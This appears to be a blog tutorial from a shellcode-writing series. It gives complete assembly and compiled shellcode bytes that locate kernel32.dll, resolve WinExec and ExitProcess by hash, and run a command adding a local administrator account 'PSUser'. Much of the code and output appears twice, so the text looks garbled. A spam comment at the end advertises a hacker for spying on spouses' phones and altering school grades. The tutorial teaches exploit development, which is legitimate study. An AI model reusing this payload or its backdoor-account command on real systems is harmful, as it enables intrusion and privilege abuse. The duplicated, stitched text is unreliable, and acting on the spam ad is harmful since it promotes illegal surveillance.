Introduction
Up until now we have created shellcode containing hardcoded Windows function addresses. Hardcoding memory addresses restricts the shellcode to running on a specific version of Windows, service pack, and potentially even patch level. Well that stops here!
This tutorial will provide you with the required functions and assembly code to dynamically locate the memory addresses for the Windows functions that you want to call in your shellcode.
Our Aim
The aim of our shellcode will be to create the "Windows Command Execution Shellcode" (from Tutorial 3) without hardcoding any memory addresses so that our shellcode is portable across Windows systems.
This is done by first locating Kernel32.dll in memory, and then looping through each function name in Kernel32.dll and comparing each function hash to the function hashes that we generated in the previous tutorial.
Setting up the function hashes
From Tutorial 3 we added an administrative user to the local system using the functions "WinExec" and "ExitProcess". In Tutorial 5 we created the hashes for these functions, and we also learned how to set constants within our shellcode. The snippet of code below demonstrates us setting the constants for the hashes within our current shellcode:
+------------------ [snip] ------------------+
;DEFINE CONSTANTS
locate_hashes:
call locate_hashes_return
call locate_hashes_return
;WinExec ;result hash = 0x98FE8A0E
db 0x98
db 0xFE
db 0x8A
db 0x0E
db 0x98
db 0xFE
db 0x8A
db 0x0E
;ExitProcess ;result hash = 0x7ED8E273
db 0x7E
db 0xD8
db 0xE2
db 0x73
db 0x7E
db 0xD8
db 0xE2
db 0x73
;END DEFINE CONSTANTS
+------------------ [snip] ------------------+
So how do we find Kernel32.dll and our function addresses?
Kernel32.dll is always loaded when Windows boots up, and all Windows operating systems (prior to Vista) load Kernel32.dll into a predictable location in memory. This allows us to locate Kernel32.dll, and then from there we are able to step through and find each function name contained within Kernel32.dll. This allows us to find any function address within Kernel32.dll.
As we loop through each function, we calculate the hash for this function name and compare it to our precalculated hash for the first function that we are searching for. If the hash matches then we have found our first function address. At this stage, we loop through the functions again to find our second function hash, and third, and so on until the end of our hash list has been reached.
The assembly code for this tutorial contains the following new functions that allow us to perform the above actions:
find_kernel32
find_function
resolve_symbols_for_dll
find_function
resolve_symbols_for_dll
The flow of the shellcode
The first command in our shellcode jumps over all of the defined functions and constants into the "main" code of the assembly. At this point we need to allocate space on the stack for our function addresses. Each function address is 4 bytes, so we allocate 8 btyes on the stack to store the two function addresses. If your future shellcode uses an extra function, then this value should represent 12 bytes on the stack - but be careful of decimal notation and hex notation.
The next instruction sets ebp as the frame pointer. This acts as a marker on the stack that doesn't change. This allows us to refer to our function addresses relative to the ebp register, as shown below.
Our shellcode then calls "find_kernel32", which puts the Kernel32.dll address into the eax register. We then locate our constant function hashes, and then call "resolve_symbols_for_dll". This function uses "find_function" that loops through Kernel32.dll to locate the function address using our hashes and places the function address into our allocated positions on the stack.
Our function addresses can now be called using the following call instructions:
call [ebp+4] ;WinExec
call [ebp+8] ;ExitProcess
call [ebp+8] ;ExitProcess
We can now start our custom shellcode to create a new user by calling these functions as we did in Tutorial 3, but this time we don't use any hardcoded function addresses.
The Shellcode
+--------------- Start adduser-dynamic.asm --------------+
;adduser-dynamic.asm
[SECTION .text]
[SECTION .text]
BITS 32
global _start
_start:
jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: find_kernel32
find_kernel32:
push esi
xor eax, eax
mov eax, [fs:eax+0x30]
test eax, eax
js find_kernel32_9x
find_kernel32_nt:
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
jmp find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 0x34]
lea eax, [eax + 0x7c]
mov eax, [eax + 0x3c]
find_kernel32_finished:
pop esi
ret
push esi
xor eax, eax
mov eax, [fs:eax+0x30]
test eax, eax
js find_kernel32_9x
find_kernel32_nt:
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
jmp find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 0x34]
lea eax, [eax + 0x7c]
mov eax, [eax + 0x3c]
find_kernel32_finished:
pop esi
ret
;END FUNCTION: find_kernel32
;FUNCTION: find_function
find_function:
pushad
mov ebp, [esp + 0x24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 0x78]
add edx, ebp
mov ecx, [edx + 0x18]
mov ebx, [edx + 0x20]
add ebx, ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp ; esi now points to current function string
; start of compute hash function
compute_hash: ; put this into a function
xor edi, edi ; edi will hold our hash result
xor eax, eax ; eax holds our current char
cld
compute_hash_again:
lodsb ; puts current char into eax (except first time)
test al, al ; checks for null - end of function string
jz compute_hash_finished
ror edi, 0xd ; rotate the current hash
add edi, eax ; adds current char to current hash
jmp compute_hash_again
compute_hash_finished: ; end of compute hash function
find_function_compare:
;this is where it compares the calculated hash to our hash
cmp edi, [esp + 0x28]
jnz find_function_loop
mov ebx, [edx + 0x24]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
;this is the VMA of the function
mov [esp + 0x1c], eax
find_function_finished:
popad
ret
;END FUNCTION: find_function
pushad
mov ebp, [esp + 0x24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 0x78]
add edx, ebp
mov ecx, [edx + 0x18]
mov ebx, [edx + 0x20]
add ebx, ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp ; esi now points to current function string
; start of compute hash function
compute_hash: ; put this into a function
xor edi, edi ; edi will hold our hash result
xor eax, eax ; eax holds our current char
cld
compute_hash_again:
lodsb ; puts current char into eax (except first time)
test al, al ; checks for null - end of function string
jz compute_hash_finished
ror edi, 0xd ; rotate the current hash
add edi, eax ; adds current char to current hash
jmp compute_hash_again
compute_hash_finished: ; end of compute hash function
find_function_compare:
;this is where it compares the calculated hash to our hash
cmp edi, [esp + 0x28]
jnz find_function_loop
mov ebx, [edx + 0x24]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
;this is the VMA of the function
mov [esp + 0x1c], eax
find_function_finished:
popad
ret
;END FUNCTION: find_function
;FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
;about to load current hash into eax (pointed to by esi)
lodsd
push eax
push edx
call find_function
mov [edi], eax
add esp, 0x08
add edi, 0x04
cmp esi, ecx
jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
ret
;about to load current hash into eax (pointed to by esi)
lodsd
push eax
push edx
call find_function
mov [edi], eax
add esp, 0x08
add edi, 0x04
cmp esi, ecx
jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
ret
;END FUNCTION: resolve_symbols_for_dll
;DEFINE CONSTANTS
locate_hashes:
call locate_hashes_return
locate_hashes:
call locate_hashes_return
;WinExec ;result hash = 0x98FE8A0E
db 0x98
db 0xFE
db 0x8A
db 0x0E
db 0x98
db 0xFE
db 0x8A
db 0x0E
;ExitProcess ;result hash = 0x7ED8E273
db 0x7E
db 0xD8
db 0xE2
db 0x73
db 0x7E
db 0xD8
db 0xE2
db 0x73
;END DEFINE CONSTANTS
start_asm: ; start our main program
sub esp, 0x08 ; allocate space on stack for function addresses
mov ebp, esp ; set ebp as frame ptr for relative offset on stack
mov ebp, esp ; set ebp as frame ptr for relative offset on stack
call find_kernel32 ;find address of Kernel32.dll
mov edx, eax
mov edx, eax
;resolve kernel32 symbols
jmp short locate_hashes ;locate address of our hashes
locate_hashes_return: ;define return label to return to this code
pop esi ;get constants address from stack
lea edi, [ebp + 0x04] ;this is where we store our function addresses
mov ecx, esi
add ecx, 0x08 ;length of dns shellcode hash list
call resolve_symbols_for_dll
jmp short locate_hashes ;locate address of our hashes
locate_hashes_return: ;define return label to return to this code
pop esi ;get constants address from stack
lea edi, [ebp + 0x04] ;this is where we store our function addresses
mov ecx, esi
add ecx, 0x08 ;length of dns shellcode hash list
call resolve_symbols_for_dll
;add user section
jmp short GetCommand
CommandReturn:
pop ebx ;ebx now holds the handle to the string
CommandReturn:
pop ebx ;ebx now holds the handle to the string
xor eax,eax ;empties out eax
push eax ;push null onto stack as empty parameter value
push ebx ;push the command onto the stack
call [ebp+4] ;call WinExec(path,showcode)
push eax ;push null onto stack as empty parameter value
push ebx ;push the command onto the stack
call [ebp+4] ;call WinExec(path,showcode)
xor eax,eax ;zero the register again, clears winexec retval
push eax ;push null onto stack as empty parameter value
call [ebp+8] ;call ExitProcess(0);
push eax ;push null onto stack as empty parameter value
call [ebp+8] ;call ExitProcess(0);
GetCommand:
call CommandReturn
db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"
db 0x00
call CommandReturn
db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"
db 0x00
+--------------- End adduser-dynamic.asm --------------+
Compiling the Assembly Code
In previous tutorials, we have manually gone through every step of compiling the assembly with nasm, stripping the raw shellcode with xxd and xdd-shellcode.sh, inserting this raw shellcode into shellcodetest.c, and then compiling this test program with gcc. This can be painful to remember and carry out each time you make a slight change to your shellcode.
For this reason I created "shellcode-compiler.sh", which does all of these for you! You should have downloaded this script, and any other required scripts and programs in Tutorial 1. The usage of this program is shown below;
$ ./shellcode-compiler.sh
Usage: ./shellcode-compiler.sh filename.asm
Eg, ./shellcode-compiler.sh shellcode.asm
Usage: ./shellcode-compiler.sh filename.asm
Eg, ./shellcode-compiler.sh shellcode.asm
It takes the assembly file as an input to the compiler, and creates the Cygwin executable file of the form "filename.shellcodetest". The assembly for this tutorial can be compiled using the following command, and should display something similar to the output below.
$ ./shellcode-compiler.sh adduser-dynamic.asm
Compiling adduser-dynamic.asm to adduser-dynamic.bin
[nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm]
Converting adduser-dynamic.bin to adduser-dynamic.shellcode
[./xxd-shellcode.sh adduser-dynamic.asm]
\xe9\x9b\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8\x19\x00\x00\x00\x98\xfe\x8a\x0e\x7e\xd8\xe2\x73\x81\xec\x08\x00\x00\x00\x89\xe5\xe8\x58\xff\xff\xff\x89\xc2\xeb\xe2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x08\x00\x00\x00\xe8\xb6\xff\xff\xff\xeb\x0e\x5b\x31\xc0\x50\x53\xff\x55\x04\x31\xc0\x50\xff\x55\x08\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72
Creating adduser-dynamic.shellcodetest.c
Compiling adduser-dynamic.shellcodetest.c to adduser-dynamic.shellcodetest[.exe]
[gcc -o adduser-dynamic.shellcodetest adduser-dynamic.shellcodetest.c]
Complete. You can now execute ./adduser-dynamic.shellcodetest[.exe]
Compiling adduser-dynamic.asm to adduser-dynamic.bin
[nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm]
Converting adduser-dynamic.bin to adduser-dynamic.shellcode
[./xxd-shellcode.sh adduser-dynamic.asm]
\xe9\x9b\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8\x19\x00\x00\x00\x98\xfe\x8a\x0e\x7e\xd8\xe2\x73\x81\xec\x08\x00\x00\x00\x89\xe5\xe8\x58\xff\xff\xff\x89\xc2\xeb\xe2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x08\x00\x00\x00\xe8\xb6\xff\xff\xff\xeb\x0e\x5b\x31\xc0\x50\x53\xff\x55\x04\x31\xc0\x50\xff\x55\x08\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72
Creating adduser-dynamic.shellcodetest.c
Compiling adduser-dynamic.shellcodetest.c to adduser-dynamic.shellcodetest[.exe]
[gcc -o adduser-dynamic.shellcodetest adduser-dynamic.shellcodetest.c]
Complete. You can now execute ./adduser-dynamic.shellcodetest[.exe]
You should now be ready to test the shellcode.
Testing the shellcode
Before we run this program, we want to show the user accounts on your local system by running the following command:
# net user
(lists the local accounts on your system)
(lists the local accounts on your system)
You should now be able to execute your shellcode via the test program "./adduser-dynamic.shellcodetest". The shellcode is designed to add an administrative user onto your system called "PSUser", and then it should exit cleanly.
# ./adduser-dynamic.shellcodetest
The command completed successfully.
(adds a user account)
The command completed successfully.
(adds the user account to the administrators group)
(then exists cleanly)
The command completed successfully.
(adds a user account)
The command completed successfully.
(adds the user account to the administrators group)
(then exists cleanly)
We can now confirm that the account was created by running the "net user" command again, as shown below:
# net user
(lists the local accounts, now including "PSUser")
(lists the local accounts, now including "PSUser")
Clean Up
You should make sure that you remove this account from your system to ensure that it is not used to break into your system. This can be done using the following command:
# net user PSUser /delete
The command completed successfully.
(deletes the "PSUser" account)
The command completed successfully.
(deletes the "PSUser" account)
Congratulations!
You have just created shellcode that automatically locates the memory addresses for Kernel32.dll and the Windows functions that we needed. The shellcode then used these function addresses to execute Windows functions to add an administrative account on the local system.
You can now write shellcode that is portable across multiple Windows systems!
The learning doesn't stop here! We now need to know how to create network connections so that a remote attacker can execute commands on the compromised system. This is the next tutorial.
Are you willing to know who your spouse really is, if your spouse is cheating just contact cybergoldenhacker he is good at hacking into cell phones,changing school grades and many more this great hacker has also worked for me and i got results of spouse whats-app messages,call logs, text messages, viber,kik, Facebook, emails. deleted text messages and many more this hacker is very fast cheap and affordable he has never disappointed me for once contact him if you have any form of hacking problem am sure he will help you THANK YOU.
ReplyDeletecontact: cybergoldenhacker at gmail dot com